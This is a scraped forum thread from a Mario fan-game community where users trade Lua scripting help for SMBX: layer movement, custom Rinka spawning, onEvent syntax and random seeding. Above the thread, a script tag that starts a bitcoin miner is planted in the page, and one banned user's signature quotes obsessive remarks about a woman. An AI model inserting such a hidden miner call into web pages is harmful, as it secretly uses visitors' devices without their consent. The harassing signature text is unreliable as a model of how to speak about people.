<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxysmw centralsmbx community

Lua help thread

If you lost something come look for it here
S1eth
Posts: 285
Joined: 2 years ago

Re: Lua help thread

Postby S1eth » 2 years ago

Hoeloe wrote:
S1eth wrote:
7NameSam wrote:How do I make a layer move back and forth using LUA?

Code: Select all

local myLayer = findlayer("TheNameYouGaveYourLayerInSMBX");

myLayer.speedX = someNumber; 
myLayer.speedY = someNumber;
You may want to put this into some if block, that uses an incremental counter for each frame, and reset it when the event happens (or use modulo).

Set to speed to e.g. +2 to make it move to the right, and another function to set the speed to -2 to make it move back.
For example, set it to move right at i==0, to move left at i==200, set i=0 at 400.
Alternatively, you can use the eventu library to do most of the scheduling stuff for you.
Is eventu now able to handle multiple events happening on the same tick?

And in general, is there a well organized list of features added since v7? I feel like I have to look through all the forums to find those one at a time.
Image

User avatar
Hoeloe
A2XT person
Posts: 834
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

S1eth wrote: Is eventu now able to handle multiple events happening on the same tick?
EventU isn't the same thing as "onEvent", which is a direct SMBX hook. onEvent had some issues in earlier versions not detecting more than one event on a single tick. EventU is a Lua library to create timers and coroutines.
Image
Image
Image
Image

Zyglrox Odyssey
Posts: 527
Joined: 4 years ago
Contact:

Re: Lua help thread

Postby Zyglrox Odyssey » 2 years ago

So I have some code to make Rinkas do assorted wAaAaAaAaAacky things at random, like flying at double-speed, flying away from the player, stopping and re-aiming after about a second, etc.
It's merely a proof of concept, of course, half of those are terrible ideas and reverse Rinkas serve like no purpose at all. But if it were to be used in an actual thing, how would one go about making each "flavour" use a different graphic? I looked at cinematX but it apparently doesn't work well with generators which would I imagine be rather important when dealing with Rinkas. And I did notice a few global functions to load graphics that could be used to draw over them but that seems like it'd be a pain given their having four frames of animation?
ImageImage
ImageImage
ImageImage
ImageImage

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 506
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Lua help thread

Postby Rockythechao » 2 years ago

Yeah, generators and cinematX don't mix well. One thing you could do, however, is make your own rinka generators by looping through all instances of a given block and having them call a function that uses NPC.spawn() to generate a rinka with custom behavior.

Here's the code I'm using for my own cinematX-enabled rinka shenanigans as an example:

Code: Select all

rinkaSpeed = 0
rinkaDelay = 0
rinkaStartX = 0
rinkaStartY = 0


function fireRinka (startX, startY, delay, speedMult)
	rinkaStartX = startX
	rinkaStartY = startY
	rinkaDelay = delay or -1
	rinkaSpeed = speedMult or 1
	cinematX.runCoroutine (cor_fireRinka)
end


function cor_fireRinka ()
	local startX = rinkaStartX
	local startY = rinkaStartY
	local spd = rinkaSpeed
	local delay = rinkaDelay
	
	
	-- Spawn the rinka
	local spawnedRinka = NPC.spawn (NPCID.RINKA, startX, startY, player.section)
	
	-- Delay the rinka
	local timePassed = 0
	
	while timePassed < delay  do
		spawnedRinka:mem (0xF8, FIELD_DFLOAT, 10)
		cinematX.waitSeconds(0.0)
		timePassed = timePassed + cinematX.deltaTime
	end
	
	-- Fire the rinka
	spawnedRinka:mem (0xF8, FIELD_DFLOAT, 100)
	
	cinematX.waitSeconds(0.0)
	spawnedRinka.speedX = spawnedRinka.speedX * spd
	spawnedRinka.speedY = spawnedRinka.speedY * spd
	
	return spawnedRinka
end
If you want to make different variants with different graphics, you'll need to get the cinematX actors of each rinka via its' UID and override the animation. Keep all the different animations in the sheet for the rinkas and set each variant to have a different animation state.

Code: Select all

-- Loop through all rinkas
for key,value in pairs (NPC.get(NPCID.RINKA, -1)) do
    -- Get the UID
	local uid = value:mem (cinematX.ID_MEM, FIELD_WORD);

	-- Get the actor reference and override the animation
	local thisActor = cinematX.indexedActors[uid]
	thisActor:overrideAnimation (animData_Rinka)
	
	-- Determine the animation state based on certain parameters
	if		()		then
		thisActor:setAnimState (variation A)
	elseif	()		then
		thisActor:setAnimState (variation B)
	elseif	()		then
		thisActor:setAnimState (variation C)
	else
		thisActor:setAnimState (variation D)
	end
end
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2533
Joined: 6 years ago
Location: Finland

Re: Lua help thread

Postby Willhart » 2 years ago

Can this be used to make a Goomba shoot bullets like a Snifit?
Willhart wrote:Being a fan means... blind obsession.... She does not have to accept it... I thought it brought me closer to her.
Willhart wrote:[She] is planning on joining the patreon discord thing on advanced group, and that likely means that I'll listen trough every single one of those as they happen...

Part of me feels like writing her name over and over again
...I should not give up.
💔

acrowdofpeople
Posts: 47
Joined: 2 years ago

Re: Lua help thread

Postby acrowdofpeople » 2 years ago

I'm having some trouble getting filters to work. The idea is that the player goes through section 3 the first time as Mario, and then upon triggering the event "fishmen" returns to section 3 to play as Luigi, which then opens up an alternate path, which itself is triggered by the event "Bowserman." However, when I enter section 3 as Toad the first time, I remain Toad.

Another issue I'm having is whenever I load or start the level, I get the error [Error: {filepath}lunadll.lua:10:<name> or '...' expected near '"fishmen"'], and the Lua event triggered by "fishmen" never triggers.. But when I don't include the quotation marks around "fishmen," I get the debug text box immediately upon loading the level.

Code: Select all

local mariohunting=0
function onLoadSection2()
      if (mariohunting==0) then
        player:mem(0xF0, FIELD_WORD, 1)
    elseif (mariohunting==1) then
        player:mem(0xF0, FIELD_WORD, 2)
		triggerEvent("Bowserman")
    end
end
function onEvent("fishmen")
mariohunting=1
Text.windowDebug("Test")
end

User avatar
Rednaxela
Maker of Shenanigans
Posts: 662
Joined: 3 years ago

Re: Lua help thread

Postby Rednaxela » 2 years ago

acrowdofpeople wrote:I'm having some trouble getting filters to work. The idea is that the player goes through section 3 the first time as Mario, and then upon triggering the event "fishmen" returns to section 3 to play as Luigi, which then opens up an alternate path, which itself is triggered by the event "Bowserman." However, when I enter section 3 as Toad the first time, I remain Toad.

Another issue I'm having is whenever I load or start the level, I get the error [Error: {filepath}lunadll.lua:10:<name> or '...' expected near '"fishmen"'], and the Lua event triggered by "fishmen" never triggers.. But when I don't include the quotation marks around "fishmen," I get the debug text box immediately upon loading the level.
Firstly, you misunderstand how Lua functions work and how onEvent works.
1) Please learn how functions work in Lua from something like this or this
2) but in summary, instead of:

Code: Select all

function onEvent("fishmen")
mariohunting=1
Text.windowDebug("Test")
end
you want

Code: Select all

function onEvent(eventName)
    if eventName == "fishmen" then
        mariohunting=1
        Text.windowDebug("Test")
    end
end
Secondly, when you say "However, when I enter section 3 as Toad the first time, I remain Toad.", is this after having the error you later describe? Because, after having that error, no more Lua code will run, explaining why your player character setting wouldn't happen.
Currently LPing: Ys Origin

acrowdofpeople
Posts: 47
Joined: 2 years ago

Re: Lua help thread

Postby acrowdofpeople » 2 years ago

Oh! Okay, I see now! Somehow I misunderstood the way the function parameters worked there. I was thinking that "onEvent" worked similarly to "triggerEvent." Thank you!

You're right, the issue wit changing characters disappeared once I did the fix you recommended. I thought it might be related to the issue I had with some code from the tutorial here, where anytime I combine "onLoad" with a player pointer, I get an "invalid player pointer" error and the game crashes.

User avatar
Hoeloe
A2XT person
Posts: 834
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

acrowdofpeople wrote:Oh! Okay, I see now! Somehow I misunderstood the way the function parameters worked there. I was thinking that "onEvent" worked similarly to "triggerEvent." Thank you!

You're right, the issue wit changing characters disappeared once I did the fix you recommended. I thought it might be related to the issue I had with some code from the tutorial here, where anytime I combine "onLoad" with a player pointer, I get an "invalid player pointer" error and the game crashes.
I suggest making sure you understand the difference between a function call and a function definition. When you use onEvent, you're defining a function, but when you use triggerEvent, you're calling an existing one. It's important to understand the difference.

Also, that error occurs because the onLoad function is called when the level is loaded, even when the editor is loading it. When the editor loads a level, it doesn't create a player, so if you try to use the player there, the game will error and crash. However, you can do a check to see if the player is nil, and use the isValid field in the player structure, to make sure the player can be used. If you run that check at the start of onLoad:

Code: Select all

if(player == nil or not player.isValid) then return end
then the function won't execute any further if the player doesn't exist, and you can refer to the player as much as you like after that.
Image
Image
Image
Image

acrowdofpeople
Posts: 47
Joined: 2 years ago

Re: Lua help thread

Postby acrowdofpeople » 2 years ago

Thanks! That'll help a lot for this level idea I had!

So whenever I start a line with "function," I'm defining a function, so the arguments in the parenthesis are generic items that are used within the function I'm writing, dependent upon what the function is doing - hence the if structure for "onEvent" making sure it's the precise event I wanted. But when I call a function, the arguments are the specific arguments I want to be put into the function - so if I were to make my own function, "function1(arg1)", then I would leave arg1 generic in the "function funciton1(arg1)" line, but when I call it from another function, I would call it with function1("string") , and use an if structure within the function to check the string to make sure it was the correct one. But if I just wanted function1 to do a thing with a number it had been handed, I'd call it function1(10,000) and then use arg1 within the function to stand in for the number.

Is that correct?

User avatar
Hoeloe
A2XT person
Posts: 834
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

acrowdofpeople wrote: Is that correct?
More or less. Essentially, when you define a function, you also define a list of arguments, which are essentially local variables that exist within the scope of the function. When calling a function, you specify the initial values of those arguments. It's pretty much valid to consider a function as a mini program. Take this:

Code: Select all

function myFunc(arg1, arg2)
  local r = arg1+arg2;
  return r;
end
What I'm trying to get at is "arg1" and "arg2" aren't fundamentally different from "r" - they're all variables declared in the scope of the function. All you do when you call a function is assign values to those variables. So, if you call the function with some values:

Code: Select all

function onLoop()
  local n = myFunc(4,5);
  windowDebug(tostring(n));
end
That's basically equivalent to this:

Code: Select all

function onLoop()
  local arg1 = 4;
  local arg2 = 5;
  local r = arg1+arg2;
  local n = r;
  windowDebug(tostring(n));
end
Note how I've simply pasted the function definition into the loop, but am first assigning the arg1 and arg2 variables. That's more or less what a function call does (it's not exactly the same, but it should help show roughly how it works). Essentially, your arguments are just local variables, and you assign those variables when you call a function with its arguments.
Image
Image
Image
Image

acrowdofpeople
Posts: 47
Joined: 2 years ago

Re: Lua help thread

Postby acrowdofpeople » 2 years ago

I think I get it now. Thanks!

acrowdofpeople
Posts: 47
Joined: 2 years ago

Re: Lua help thread

Postby acrowdofpeople » 2 years ago

So I'm using the math.random function to generate random NPCs from a Lava Lotus, but I've noticed that I always get the same results in the same order. Is there something I can do to make the results actually random, or is this just something I have to put up with?

User avatar
Hoeloe
A2XT person
Posts: 834
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

acrowdofpeople wrote:So I'm using the math.random function to generate random NPCs from a Lava Lotus, but I've noticed that I always get the same results in the same order. Is there something I can do to make the results actually random, or is this just something I have to put up with?
Lua's random number generator is notoriously terrible. I'll probably make a library that does a better job of generating random numbers at some point. If I remember correctly, if you generate a few numbers in a row it improves, so maybe give that a try.
Image
Image
Image
Image

acrowdofpeople
Posts: 47
Joined: 2 years ago

Re: Lua help thread

Postby acrowdofpeople » 2 years ago

I see. I'll try that, then. Thank you.

User avatar
SAJewers
hi
Posts: 2219
Joined: 5 years ago
Location: Nova Scotia

Re: Lua help thread

Postby SAJewers » 2 years ago

http://lua-users.org/wiki/MathLibraryTutorial
But beware! The first random number you get is not really 'randomized' (at least in Windows 2K and OS X). To get better pseudo-random number just pop some random number before using them for real:

-- Initialize the pseudo random number generator
math.randomseed( os.time() )
math.random(); math.random(); math.random()
-- done. :-)
maybe try that?
ImageImageImage
Image
ImageImageImageImage

acrowdofpeople
Posts: 47
Joined: 2 years ago

Re: Lua help thread

Postby acrowdofpeople » 2 years ago

Oh, nice! Now the lotus flowers are giving me stuff in a totally random order! Thanks!

User avatar
7NameSam
hey
Posts: 221
Joined: 2 years ago
Pronouns: he/him/his

Re: Lua help thread

Postby 7NameSam » 2 years ago

how do I spawn an NPC with velocity?
(Like, spawning a sniffit bullet with upwards velocity)
Image

User avatar
Hoeloe
A2XT person
Posts: 834
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

7NameSam wrote:how do I spawn an NPC with velocity?
(Like, spawning a sniffit bullet with upwards velocity)
You can spawn the NPC, and save it to a variable, then set the speed. Like this:

Code: Select all

local bullet = NPC.spawn(...);
bullet.speedY = 4;
Basically, you can sort of consider everything happening in one run of any function as happening at the same time. It all occurs on the same frame (but reads the lines of code from top to bottom), so spawning an NPC and then setting the speed will have the same effect as spawning it with a specific speed, because both the spawning of the NPC and setting the speed happen on the same frame.

Keep in mind that unless you use pnpc at this point, you can only use that variable safely on the frame you spawn the NPC, so if you need to access specific NPCs later, use pnpc.
Image
Image
Image
Image

User avatar
CloudyCloud
Posts: 230
Joined: 4 years ago

Re: Lua help thread

Postby CloudyCloud » 2 years ago

1. Is there a way to make the player character float when they are holding item in the ocean? I am curious if such code is written already.

you know, SMW physics.(In SMW, player can float and thus swim faster when they hold item in the water.)

2. Possible to make only some item able to help player float on the water?
(For example, ice block. Well, you get the ice flower and then you freeze the monsters, then the frozen enemy-block will float up. And thus I am thinking that one should be able to float if they hold the frozen block also.)(I kinda want to make a swim ring.)

1st question is more to make a SMW water level.
2nd question is more for other reason.

Or actually 1st question is just extension of 2nd?


Return to “Magl X : the Lost Levels”

Who is online

Users browsing this forum: No registered users and 2 guests

cron